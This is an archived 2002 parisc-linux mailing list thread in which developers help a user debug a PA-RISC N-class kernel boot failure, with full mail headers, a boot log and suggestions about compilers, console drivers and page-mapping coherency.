	by palrel13.hp.com (Postfix) with ESMTP
	id CAAAA4001D9; Tue, 12 Mar 2002 14:46:08 -0800 (PST)
Original-Received: from cup.hp.com (maverick.cup.hp.com [15.13.105.84])
	by hpindda.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with ESMTP id OAA26491;
	Tue, 12 Mar 2002 14:45:58 -0800 (PST)
X-Mailer: Mozilla 4.73 [en] (X11; I; HP-UX B.11.00 9000/785)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14321

Matthew Wilcox wrote:

> On Tue, Mar 12, 2002 at 12:37:24PM -0800, Gururaj Ananthateerta wrote:
> > both of them are set to 'y'
>
> OK.  Since this is an N class, the serial ports should be automatically
> detected on the Diva card.  Towards the top of arch/parisc/kernel/pdc_cons.c
> you'll see:
>
> /* Define EARLY_BOOTUP_DEBUG to debug kernel related boot problems.
>  * On production kernels EARLY_BOOTUP_DEBUG should be undefined. */
> #undef EARLY_BOOTUP_DEBUG

Apologies folks.
helped a lot. I cud figure out that my kernel was  a32-bit
i got htis hppa-linux-gcc and compiled  a 64-bit kernel.
things are still ugly.

anyone working on supporting N-class.




>
>
> Change the #undef to #define and recompile.  Do you see any more output?
>
> --
> Revolutions do not require corporate support.




From - Thu Nov 08 21:22:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Switch console error.
Date: Tue, 12 Mar 2002 15:58:58 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20020312225858.A979E38556@carmen.fc.hp.com>
References: <3C8E5DCD.942E6278@cup.hp.com> <20020312201309.H30538@parcelfarce.linux.theplanet.co.uk> <3C8E6704.81F14945@cup.hp.com> <20020312204919.I30538@parcelfarce.linux.theplanet.co.uk>  <3C8E8520.EC6877E3@cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621152 4655 80.91.229.3 (22 Nov 2014 01:52:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:32 +0000 (UTC)
Cc: parisc <parisc-linux@lists.parisc-linux.org>
To: Gururaj Ananthateerta <gururaj@cup.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 12 16:02:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel8.hp.com (atlrel8.hp.com [156.153.255.206])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9D0EE483C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Mar 2002 16:02:43 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel8.hp.com (Postfix) with ESMTP id 2428AA008AB
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Mar 2002 17:59:13 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id A979E38556; Tue, 12 Mar 2002 15:58:58 -0700 (MST)
X-Mailer: exmh version 2.5 07/13/2001 (debian 2.5-1) with nmh-1.0.4+dev
In-Reply-To: Message from Gururaj Ananthateerta <gururaj@cup.hp.com> 
   of "Tue, 12 Mar 2002 14:45:52 PST." <3C8E8520.EC6877E3@cup.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14322

Gururaj Ananthateerta writes...

> Apologies folks.
> helped a lot. I cud figure out that my kernel was  a32-bit
> i got htis hppa-linux-gcc and compiled  a 64-bit kernel.

You need hppa64-linux-gcc to build a 64 bit kernel. You can get compilers 
from the ftp.parisc-linux.org site.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation





From - Thu Nov 08 21:22:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Gururaj Ananthateerta <gururaj@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Switch console error.
Date: Tue, 12 Mar 2002 15:08:31 -0800
Organization: Hewlett Packard
Lines: 196
Approved: news@gmane.org
Message-ID: <3C8E8A6F.2AD5761C@cup.hp.com>
References: <3C8E5DCD.942E6278@cup.hp.com> <20020312201309.H30538@parcelfarce.linux.theplanet.co.uk> <3C8E6704.81F14945@cup.hp.com> <20020312204919.I30538@parcelfarce.linux.theplanet.co.uk>  <3C8E8520.EC6877E3@cup.hp.com> <20020312225858.A979E38556@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621153 4657 80.91.229.3 (22 Nov 2014 01:52:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:33 +0000 (UTC)
Cc: parisc <parisc-linux@lists.parisc-linux.org>
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 12 16:08:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel10.hp.com (palrel10.hp.com [156.153.255.245])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6DFE74853
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Mar 2002 16:08:48 -0700 (MST)
Original-Received: from hpindda.cup.hp.com (hpindda.cup.hp.com [15.13.95.92])
	by palrel10.hp.com (Postfix) with ESMTP id B5BCCC007C4
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Mar 2002 15:08:47 -0800 (PST)
Original-Received: from cup.hp.com (maverick.cup.hp.com [15.13.105.84])
	by hpindda.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with ESMTP id PAA27333;
	Tue, 12 Mar 2002 15:08:36 -0800 (PST)
X-Mailer: Mozilla 4.73 [en] (X11; I; HP-UX B.11.00 9000/785)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14323

Matt Taggart wrote:

> Gururaj Ananthateerta writes...
>
> > Apologies folks.
> > helped a lot. I cud figure out that my kernel was  a32-bit
> > i got htis hppa-linux-gcc and compiled  a 64-bit kernel.
>
> You need hppa64-linux-gcc to build a 64 bit kernel. You can get compilers
> from the ftp.parisc-linux.org site.

I did that, but the kernel panic during  boot and the following was the
message
on the screen.

--------------------------------Start Msg -------------------------
29. Prelude W+ 540 (0) at 0xfffffffffed65000 [101], versions 0x5d3, 0x0, 0x4

CPU(s): 6 x PA8600 (PCX-W+) at 550.000000 MHz
SBA found Ike rev 2 at 0xfffffffffed00000
SBA found Ike rev 2 at 0xfffffffffed40000
lba version TR2.2 (0x3) found at 0xffffffffbffe0000
lba range[2] : ignoring GMMIO (0xfffffff004000000)
lba version TR2.2 (0x3) found at 0xffffffffbffe2000
lba range[2] : ignoring GMMIO (0xfffffff084000000)
lba version TR3.0 (0x4) found at 0xffffffffbffe4000
kernel BUG at lba_pci.c:1250!
kernel BUG at lba_pci.c:1285!
lba range[2] : ignoring GMMIO (0xfffffff104000000)
lba version TR3.0 (0x4) found at 0xffffffffbffe8000
kernel BUG at lba_pci.c:1250!
kernel BUG at lba_pci.c:1285!
lba range[2] : ignoring GMMIO (0xfffffff204000000)
lba version TR3.0 (0x4) found at 0xffffffffbffea000
kernel BUG at lba_pci.c:1250!
kernel BUG at lba_pci.c:1285!
lba range[2] : ignoring GMMIO (0xfffffff284000000)
lba version TR3.0 (0x4) found at 0xffffffffbfff0000
kernel BUG at lba_pci.c:1250!
kernel BUG at lba_pci.c:1285!
lba range[2] : ignoring GMMIO (0xfffffff404000000)
lba version TR3.0 (0x4) found at 0xffffffffbfff4000
kernel BUG at lba_pci.c:1250!
kernel BUG at lba_pci.c:1285!
lba range[2] : ignoring GMMIO (0xfffffff504000000)
lba version TR3.0 (0x4) found at 0xffffffffbfff8000
kernel BUG at lba_pci.c:1250!
kernel BUG at lba_pci.c:1285!
lba range[2] : ignoring GMMIO (0xfffffff604000000)
lba version TR3.0 (0x4) found at 0xfffffffffece0000
kernel BUG at lba_pci.c:1250!
kernel BUG at lba_pci.c:1285!
lba range[2] : ignoring GMMIO (0xfffffff804000000)
lba version TR3.0 (0x4) found at 0xfffffffffece4000
kernel BUG at lba_pci.c:1250!
kernel BUG at lba_pci.c:1285!
lba range[2] : ignoring GMMIO (0xfffffff904000000)
lba version TR3.0 (0x4) found at 0xfffffffffece8000
kernel BUG at lba_pci.c:1250!
kernel BUG at lba_pci.c:1285!
lba range[2] : ignoring GMMIO (0xfffffffa04000000)
lba version TR3.0 (0x4) found at 0xfffffffffecf0000
kernel BUG at lba_pci.c:1250!
kernel BUG at lba_pci.c:1285!
lba range[2] : ignoring GMMIO (0xfffffffc04000000)
lba version TR3.0 (0x4) found at 0xfffffffffecf4000
kernel BUG at lba_pci.c:1250!
kernel BUG at lba_pci.c:1285!
lba range[2] : ignoring GMMIO (0xfffffffd04000000)
lba version TR3.0 (0x4) found at 0xfffffffffecf8000
kernel BUG at lba_pci.c:1250!
kernel BUG at lba_pci.c:1285!
lba range[2] : ignoring GMMIO (0xfffffffe04000000)
POSIX conformance testing by UNIFIX
FP[1] enabled: Rev 1 Model 16
FP[2] enabled: Rev 1 Model 16
FP[3] enabled: Rev 1 Model 16
FP[4] enabled: Rev 1 Model 16
FP[5] enabled: Rev 1 Model 16
SMP: Total 6 of 6 processors activated (6586.37 BogoMIPS noticed).
Waiting on wait_init_idle (map = 0x3e)
All processors have done init_idle
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Initializing RT netlink socket
Performance monitoring counters enabled for Prelude W+ 540
Starting kswapd
Journalled Block Device driver loaded
pty: 256 Unix98 ptys configured
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ
SERIAL_PCI enabled
Redundant entry in serial pci_table.  Please send the output of
lspci -vv, this message (103c,1048,103c,1049)
and the manufacturer and name of serial board or modem board
to serial-pci-info@lists.sourceforge.net.
ttyS00 at iomem 0xffffffff80000000 (irq = 132) is a 16550A
ttyS01 at iomem 0xffffffff80000008 (irq = 132) is a 16550A
ttyS02 at iomem 0xffffffff80000010 (irq = 132) is a 16550A
Redundant entry in serial pci_table.  Please send the output of
lspci -vv, this message (103c,1048,103c,104a)
and the manufacturer and name of serial board or modem board
to serial-pci-info@lists.sourceforge.net.
ttyS03 at iomem 0xffffffff80003000 (irq = 133) is a 16550A
ttyS04 at iomem 0xffffffff80003008 (irq = 133) is a 16550A
lp: driver loaded but no devices found
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
block: 128 slots per queue, batch=32
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
Uniform Multi-Platform E-IDE driver Revision: 6.31
ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=xx
loop: loaded (max 8 devices)
Linux Tulip driver version 0.9.15-pre9 (Nov 6, 2001)
tulip0: no phy info, aborting mtable build
tulip0:  MII transceiver #1 config 1000 status 782d advertising 0061.
eth0: Digital DS21143 Tulip rev 65 at 0x80, 00:10:83:F5:85:5B, IRQ 128.
SCSI subsystem driver Revision: 1.00
sym53c8xx: at PCI bus 0, device 2, function 0
sym53c8xx: 53c875 detected
sym53c8xx: at PCI bus 0, device 2, function 1
sym53c8xx: 53c875 detected
sym53c8xx: at PCI bus 0, device 1, function 0
sym53c8xx: 53c895 detected
sym53c875-0: rev 0x14 on pci bus 0 device 2 function 0 irq 130
sym53c875-0: ID 7, Fast-20, Parity Checking
sym53c875-1: rev 0x14 on pci bus 0 device 2 function 1 irq 131
sym53c875-1: ID 7, Fast-20, Parity Checking
sym53c895-2: rev 0x1 on pci bus 0 device 1 function 0 irq 129
sym53c895-2: ID 7, Fast-10, Parity Checking
sym53c895-2: SCSI bus mode change from 80 to 80.
scsi0 : sym53c8xx-1.7.3c-20010512
scsi1 : sym53c8xx-1.7.3c-20010512
scsi2 : sym53c8xx-1.7.3c-20010512
  Vendor: SEAGATE   Model: ST39103LC         Rev: HP01
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: HP        Model: DVD-ROM 305       Rev: 1.01
  Type:   CD-ROM                             ANSI SCSI revision: 02
Attached scsi disk sda at scsi1, channel 0, id 6, lun 0
sym53c875-1-<6,*>: FAST-20 WIDE SCSI 40.0 MB/s (50.0 ns, offset 15)
SCSI device sda: 17783112 512-byte hdwr sectors (9105 MB)
Partition check:
 sda: sda1 sda2 sda3 sda4
Attached scsi CD-ROM sr0 at scsi2, channel 0, id 2, lun 0
sym53c895-2-<2,*>: FAST-10 SCSI 10.0 MB/s (100.0 ns, offset 16)
sr0: scsi3-mmc drive: 16x/40x cd/rw xa/form2 cdda tray
Uniform CD-ROM driver Revision: 3.12
sticonsole_init: searching for STI ROMs
BUG: Skipping previously registered driver: sti (native)
md: linear personality registered as nr 1
md: raid0 personality registered as nr 2
md: raid1 personality registered as nr 3
md: raid5 personality registered as nr 4
raid5: measuring checksumming speed
   8regs     :  2536.400 MB/sec
   8regs_prefetch:  1966.400 MB/sec
   32regs    :  2071.600 MB/sec
   32regs_prefetch:  1935.600 MB/sec
raid5: using function: 8regs (2536.400 MB/sec)
md: md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27
md: Autodetecting RAID arrays.
md: autorun ...
md: ... autorun DONE.
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP, IGMP
IP: routing cache hash table of 2048 buckets, 96Kbytes
TCP: Hash tables configured (established 32768 bind 65536)
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
VFS: Mounted root (ext2 filesystem) readonly.
NOT FREEING INITMEM (488k)
INIT: version 2.84 booting

************* SYSTEM ALERT **************
SYSTEM NAME: hpntc660
DATE: 03/12/2002 TIME: 23:39:32
ALERT LEVEL: 7 = reserved

REASON FOR ALERT
SOURCE: 0 = unknown, no source stated
SOURCE DETAIL: 0 = unknown, no source stated   SOURCE ID: FF
PROBLEM DETAIL: 0 = no problem detail

LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
       FLASH    FLASH         FLASH     ON         ON

0x0000407000FF6292 00000000 00000000 - type  0 = Data Field Unused
0x5800487000FF6292 00006602 0C172720 - type 11 = Timestamp 03/12/2002
23:39:32
A: ack read of this entry - X: Disable all future alert messages
Anything else skip redisplay the log entry
->Choice:Timeout!
*****************************************

----------------------End Msg---------------------------





From - Thu Nov 08 21:22:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Switch console error.
Date: Wed, 13 Mar 2002 00:31:24 +0100
Organization: private
Lines: 52
Approved: news@gmane.org
Message-ID: <3C8E8FCC.3C1E759@gmx.at>
References: <3C8E5DCD.942E6278@cup.hp.com> <20020312201309.H30538@parcelfarce.linux.theplanet.co.uk> <3C8E6704.81F14945@cup.hp.com> <20020312204919.I30538@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621153 4660 80.91.229.3 (22 Nov 2014 01:52:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:33 +0000 (UTC)
Cc: Gururaj Ananthateerta <gururaj@cup.hp.com>,
	parisc <parisc-linux@lists.parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 12 16:31:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep15-int.chello.at (viefep15-int.chello.at [213.46.255.19])
	by dsl2.external.hp.com (Postfix) with ESMTP id AF6F4484A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Mar 2002 16:31:38 -0700 (MST)
Original-Received: from gmx.at ([62.178.92.247]) by viefep15-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20020312233125.ZWHJ1239.viefep15-int.chello.at@gmx.at>;
          Wed, 13 Mar 2002 00:31:25 +0100
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14324

First of all, have you really waited for a long time, when the machines
hangs on that "last" console output. I have made the experience, that
sometimes (I have not found a systematic behind that, yet) the machine
delays for a longer while (up to half a minute) and suddenly it
continoues
booting perfectly.

Second, you may play around with the PDC console driver for linux
(/dev/ttyB0 at major 60). If this driver is configured
(CONFIG_PDC_CONSOLE,
under "Non-standard serial port support"), then you have the same
effect as activating macro "EARLY_BOOTUP_DEBUG", but you can use
non-supported serial consoles (PDC console) as full console device
including login, etc.....

See the HELP button of CONFIG_PDC_CONSOLE for more details on setup.

With friendly regards
Christoph Plattner



Matthew Wilcox wrote:
> 
> On Tue, Mar 12, 2002 at 12:37:24PM -0800, Gururaj Ananthateerta wrote:
> > both of them are set to 'y'
> 
> OK.  Since this is an N class, the serial ports should be automatically
> detected on the Diva card.  Towards the top of arch/parisc/kernel/pdc_cons.c
> you'll see:
> 
> /* Define EARLY_BOOTUP_DEBUG to debug kernel related boot problems.
>  * On production kernels EARLY_BOOTUP_DEBUG should be undefined. */
> #undef EARLY_BOOTUP_DEBUG
> 
> Change the #undef to #define and recompile.  Do you see any more output?
> 
> --
> Revolutions do not require corporate support.
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:22:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Switch console error.
Date: Tue, 12 Mar 2002 23:48:38 +0000
Lines: 22
Approved: news@gmane.org
Message-ID: <20020312234838.K30538@parcelfarce.linux.theplanet.co.uk>
References: <3C8E5DCD.942E6278@cup.hp.com> <20020312201309.H30538@parcelfarce.linux.theplanet.co.uk> <3C8E6704.81F14945@cup.hp.com> <20020312204919.I30538@parcelfarce.linux.theplanet.co.uk> <3C8E8520.EC6877E3@cup.hp.com> <20020312225858.A979E38556@carmen.fc.hp.com> <3C8E8A6F.2AD5761C@cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621153 4664 80.91.229.3 (22 Nov 2014 01:52:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:33 +0000 (UTC)
Cc: Matt Taggart <taggart@carmen.fc.hp.com>,
	parisc <parisc-linux@lists.parisc-linux.org>
To: Gururaj Ananthateerta <gururaj@cup.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 12 16:48:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4351F485A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Mar 2002 16:48:43 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16kw0U-0000Bh-00; Tue, 12 Mar 2002 23:48:38 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3C8E8A6F.2AD5761C@cup.hp.com>; from gururaj@cup.hp.com on Tue, Mar 12, 2002 at 03:08:31PM -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14325

On Tue, Mar 12, 2002 at 03:08:31PM -0800, Gururaj Ananthateerta wrote:
> I did that, but the kernel panic during  boot and the following was the
> message
> on the screen.

> VFS: Mounted root (ext2 filesystem) readonly.
> NOT FREEING INITMEM (488k)
> INIT: version 2.84 booting

So, the kernel runs fine, until it starts executing userspace.  Here's
what we _think_ is going on:

The kernel has its own mappings for pages so it can take advantage of
16MB pages.  These are not coherent with the pages that are mapped into
user space.  By (ab)using the kmap() functionality, this problem can be
solved and may even result in a performance increase for all machines.
No real time to work on this...

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:22:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Switch console error.
Date: Tue, 12 Mar 2002 18:42:06 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <20020313014206.75AA54851@dsl2.external.hp.com>
References: <3C8E5DCD.942E6278@cup.hp.com> <20020312201309.H30538@parcelfarce.linux.theplanet.co.uk> <3C8E6704.81F14945@cup.hp.com> <20020312204919.I30538@parcelfarce.linux.theplanet.co.uk> <3C8E8520.EC6877E3@cup.hp.com> <20020312225858.A979E38556@carmen.fc.hp.com> <3C8E8A6F.2AD5761C@cup.hp.com>  <20020312234838.K30538@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621153 4666 80.91.229.3 (22 Nov 2014 01:52:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:33 +0000 (UTC)
Cc: parisc <parisc-linux@lists.parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 12 18:42:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 75AA54851; Tue, 12 Mar 2002 18:42:06 -0700 (MST)
In-Reply-To: Message from Matthew Wilcox <willy@debian.org> 
   of "Tue, 12 Mar 2002 23:48:38 GMT." <20020312234838.K30538@parcelfarce.linux.theplanet.co.uk> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14326

Matthew Wilcox wrote:
> The kernel has its own mappings for pages so it can take advantage of
> 16MB pages.  These are not coherent with the pages that are mapped into
> user space. 

And this would cause an HPMC?
(iirc, chassis codes indicated HPMC)
If someone could decode the Gururaj's HPMC data ("ser pim" from BCH prompt)
and post the results.  At worst, it would confirm this theory.

> By (ab)using the kmap() functionality, this problem can be
> solved and may even result in a performance increase for all machines.
> No real time to work on this...

Sorry, I'm not VM clueful enough to understand why this would be a
problem on N-class and not other boxes.  I know coherency works differently
here (Merced Bus is "central" vs Runway for most other boxes).
Someplace to look for more clues?
just curious...

thanks,
grant



From - Thu Nov 08 21:22:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Switch console error.
Date: Wed, 13 Mar 2002 02:32:25 +0000
Lines: 48
Approved: news@gmane.org
Message-ID: <20020313023225.M30538@parcelfarce.linux.theplanet.co.uk>
References: <3C8E5DCD.942E6278@cup.hp.com> <20020312201309.H30538@parcelfarce.linux.theplanet.co.uk> <3C8E6704.81F14945@cup.hp.com> <20020312204919.I30538@parcelfarce.linux.theplanet.co.uk> <3C8E8520.EC6877E3@cup.hp.com> <20020312225858.A979E38556@carmen.fc.hp.com> <3C8E8A6F.2AD5761C@cup.hp.com> <20020312234838.K30538@parcelfarce.linux.theplanet.co.uk> <3C8E976F.68EEFE04@cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621154 4670 80.91.229.3 (22 Nov 2014 01:52:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:34 +0000 (UTC)
